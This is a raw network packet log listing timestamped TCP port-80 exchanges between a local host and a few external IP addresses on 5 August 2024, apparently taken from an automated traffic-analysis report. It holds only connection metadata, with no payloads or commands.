Aug 5, 2024 12:01:33.979825020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979904890 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979918957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979943991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979959965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979964972 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.979974985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.979991913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980009079 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980011940 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980025053 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980067015 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980067015 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980348110 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980370045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980386019 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980402946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980418921 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980422020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980505943 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980770111 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980783939 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980798960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980813980 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980818033 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980828047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980839014 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980844975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980861902 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980878115 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980880976 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980892897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980909109 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980916977 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980925083 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980942011 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.980942965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980957985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980974913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980990887 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.980992079 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981008053 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981021881 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981031895 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981031895 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981060982 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981676102 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981690884 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981705904 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981733084 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981749058 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981765032 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981776953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981776953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981781960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981798887 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981816053 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981832027 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981837988 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981837988 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981848001 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981863022 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981878996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981889963 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981894016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981909990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981925011 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.981930017 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981936932 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.981978893 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.982544899 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.982562065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.982584953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.982614040 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.982748985 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.987900019 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.987970114 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:34.331222057 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:34.336561918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:34.336694002 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:34.336811066 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:34.342689991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639585018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639615059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639631033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639729023 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.639833927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639849901 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639867067 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639879942 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.639883041 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639900923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639909983 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.639947891 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.639947891 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.639964104 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.640013933 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.644625902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.644659042 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.644668102 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.644718885 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.644735098 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.644773006 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.694823980 CEST	80	49751	43.154.222.70	192.168.2.7
Aug 5, 2024 12:01:35.694910049 CEST	49751	80	192.168.2.7	43.154.222.70
Aug 5, 2024 12:01:35.930746078 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.930988073 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931004047 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931021929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931037903 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931075096 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931104898 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931108952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931124926 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931139946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931155920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931158066 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931185961 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931658030 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931709051 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931854963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931924105 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931937933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931955099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.931963921 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.931992054 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:35.932148933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.932195902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:35.932233095 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.282836914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.282866955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.282882929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.282955885 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.282980919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.282995939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283014059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283051014 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.283076048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.283212900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283257961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283273935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283360958 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.283380032 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283396006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283452988 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.283504009 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.283580065 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.284022093 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.284091949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.284107924 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.284167051 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.284188986 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.284204960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.284251928 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.329848051 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.670337915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670358896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670378923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670450926 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670465946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670481920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670497894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670510054 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.670583963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670646906 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.670722961 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.670849085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670865059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670881033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670902014 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670917988 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670933962 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670941114 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.670949936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.670967102 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.671041965 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.671226025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.671242952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.671322107 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.671335936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.671390057 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.671485901 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.674185038 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.674241066 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.943610907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943670034 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943686008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943701982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943718910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943758011 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.943783998 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.943794966 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943839073 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.943928957 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943944931 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943960905 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.943993092 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.944087982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944103003 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944118977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944135904 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.944164991 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.944787025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944835901 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944850922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.944879055 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.945005894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945020914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945036888 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945053101 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.945055008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945079088 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.945764065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945808887 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945816040 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.945826054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.945868969 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:36.945893049 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:36.985825062 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.227482080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227499008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227514982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227574110 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.227580070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227596045 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227637053 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.227704048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227720022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227746964 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.227751017 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.227786064 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.228162050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228221893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228239059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228276014 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.228317022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228362083 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.228530884 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228615999 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228631973 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228661060 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.228733063 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228749037 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228765011 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.228790045 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.228813887 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.229181051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229223013 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229238033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229262114 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.229406118 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229422092 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229438066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229449034 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.229456902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229475975 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.229594946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.229644060 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:37.230087042 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:37.282717943 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380402088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380516052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380549908 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380567074 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380574942 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380574942 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380590916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380600929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380631924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380645037 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380788088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380803108 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380817890 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.380832911 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380842924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.380939960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381103039 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381118059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381131887 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381150007 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381160975 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381309986 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381325006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381340981 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381356955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381371021 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381372929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381390095 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381397963 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381428003 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381721020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381771088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381786108 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381829977 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.381922960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381938934 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.381999016 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.423331022 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.711999893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712033033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712053061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712069035 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712136030 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712151051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712167025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712183952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712198019 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.712352037 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.712402105 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712416887 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712435007 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712450027 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712574959 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.712580919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712889910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712946892 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.712951899 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.712966919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713012934 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713097095 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713114023 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713129997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713152885 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713157892 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713202953 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713335991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713352919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713403940 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713413954 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713808060 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713856936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.713865042 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713874102 CEST	80	49905	27.221.16.179	192.168.2.7
